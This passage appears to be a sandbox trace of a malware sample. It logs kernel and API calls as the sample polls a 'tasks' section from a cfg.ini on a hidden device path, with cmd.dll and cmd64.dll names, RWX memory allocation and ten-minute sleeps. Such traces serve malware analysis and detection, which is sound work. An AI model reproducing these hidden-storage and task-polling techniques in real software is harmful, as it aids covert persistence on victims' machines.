(FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.740] KeLeaveCriticalRegion () [0119.740] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.740] KeEnterCriticalRegion () [0119.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.740] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.740] IdePortDispatch () returned 0x103 [0119.740] KeWaitForMutexObject () returned 0x0 [0119.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.740] KeLeaveCriticalRegion () [0119.740] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.741] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.741] KeEnterCriticalRegion () [0119.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003492000 [0119.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.741] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.741] IdePortDispatch () returned 0x103 [0119.741] KeWaitForMutexObject () returned 0x0 [0119.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.741] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.741] IdePortDispatch () returned 0x103 [0119.741] KeWaitForMutexObject () returned 0x0 [0119.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.741] KeLeaveCriticalRegion () [0119.741] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.742] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.742] KeEnterCriticalRegion () [0119.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.742] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.742] KeLeaveCriticalRegion () [0119.742] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.742] KeEnterCriticalRegion () [0119.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.742] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.742] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bccf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.742] KeLeaveCriticalRegion () [0119.742] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.742] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.742] KeEnterCriticalRegion () [0119.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.742] ExFreePoolWithTag (P=0xfffffa8003bca560, Tag=0x0) [0119.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.742] KeLeaveCriticalRegion () [0119.742] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.742] ReleaseMutex (hMutex=0xf0) returned 1 [0119.742] Sleep (dwMilliseconds=0x927c0) [0119.753] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.753] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.759] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.759] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.759] KeEnterCriticalRegion () [0119.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.759] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.759] IdePortDispatch () returned 0x103 [0119.759] KeWaitForMutexObject () returned 0x0 [0119.759] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.759] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.759] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.759] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.759] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.759] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcafb0 [0119.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.759] KeLeaveCriticalRegion () [0119.759] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.760] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.760] KeEnterCriticalRegion () [0119.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.760] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.760] KeLeaveCriticalRegion () [0119.760] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.760] KeEnterCriticalRegion () [0119.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.760] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.760] IdePortDispatch () returned 0x103 [0119.760] KeWaitForMutexObject () returned 0x0 [0119.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.760] KeLeaveCriticalRegion () [0119.760] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.760] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.760] KeEnterCriticalRegion () [0119.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.760] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f7000 [0119.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.760] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.760] IdePortDispatch () returned 0x103 [0119.760] KeWaitForMutexObject () returned 0x0 [0119.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.761] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.761] IdePortDispatch () returned 0x103 [0119.761] KeWaitForMutexObject () returned 0x0 [0119.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.761] KeLeaveCriticalRegion () [0119.761] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.761] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.761] KeEnterCriticalRegion () [0119.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.762] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.762] KeLeaveCriticalRegion () [0119.762] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.762] KeEnterCriticalRegion () [0119.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.762] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.762] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.762] KeLeaveCriticalRegion () [0119.762] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.762] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.762] KeEnterCriticalRegion () [0119.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.762] ExFreePoolWithTag (P=0xfffffa8003bcafb0, Tag=0x0) [0119.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.762] KeLeaveCriticalRegion () [0119.762] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.762] ReleaseMutex (hMutex=0xf0) returned 1 [0119.762] Sleep (dwMilliseconds=0x927c0) [0119.769] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.769] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.774] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.774] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.774] KeEnterCriticalRegion () [0119.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.774] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.774] IdePortDispatch () returned 0x103 [0119.774] KeWaitForMutexObject () returned 0x0 [0119.775] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.775] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.775] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.775] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.775] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.775] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaca0 [0119.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.775] KeLeaveCriticalRegion () [0119.775] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.775] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.775] KeEnterCriticalRegion () [0119.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.775] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.775] KeLeaveCriticalRegion () [0119.775] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.775] KeEnterCriticalRegion () [0119.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.775] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.775] IdePortDispatch () returned 0x103 [0119.775] KeWaitForMutexObject () returned 0x0 [0119.775] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.775] KeLeaveCriticalRegion () [0119.775] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.775] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.775] KeEnterCriticalRegion () [0119.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.776] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035da000 [0119.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.776] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.776] IdePortDispatch () returned 0x103 [0119.776] KeWaitForMutexObject () returned 0x0 [0119.776] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.776] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.776] IdePortDispatch () returned 0x103 [0119.776] KeWaitForMutexObject () returned 0x0 [0119.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.776] KeLeaveCriticalRegion () [0119.776] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.777] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.777] KeEnterCriticalRegion () [0119.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.777] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.777] KeLeaveCriticalRegion () [0119.777] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.777] KeEnterCriticalRegion () [0119.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.777] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.777] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.777] KeLeaveCriticalRegion () [0119.777] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.777] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.777] KeEnterCriticalRegion () [0119.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.777] ExFreePoolWithTag (P=0xfffffa8003bcaca0, Tag=0x0) [0119.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.777] KeLeaveCriticalRegion () [0119.777] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.777] ReleaseMutex (hMutex=0xf0) returned 1 [0119.777] Sleep (dwMilliseconds=0x927c0) [0119.789] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.789] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.789] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.789] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.789] KeEnterCriticalRegion () [0119.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.789] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.789] IdePortDispatch () returned 0x103 [0119.789] KeWaitForMutexObject () returned 0x0 [0119.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.789] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.789] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.789] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.789] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.789] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaeb0 [0119.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.789] KeLeaveCriticalRegion () [0119.789] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.789] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.789] KeEnterCriticalRegion () [0119.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.790] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.790] KeLeaveCriticalRegion () [0119.790] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.790] KeEnterCriticalRegion () [0119.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.790] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.790] IdePortDispatch () returned 0x103 [0119.790] KeWaitForMutexObject () returned 0x0 [0119.790] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.790] KeLeaveCriticalRegion () [0119.790] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.790] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.790] KeEnterCriticalRegion () [0119.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.790] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035de000 [0119.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.790] 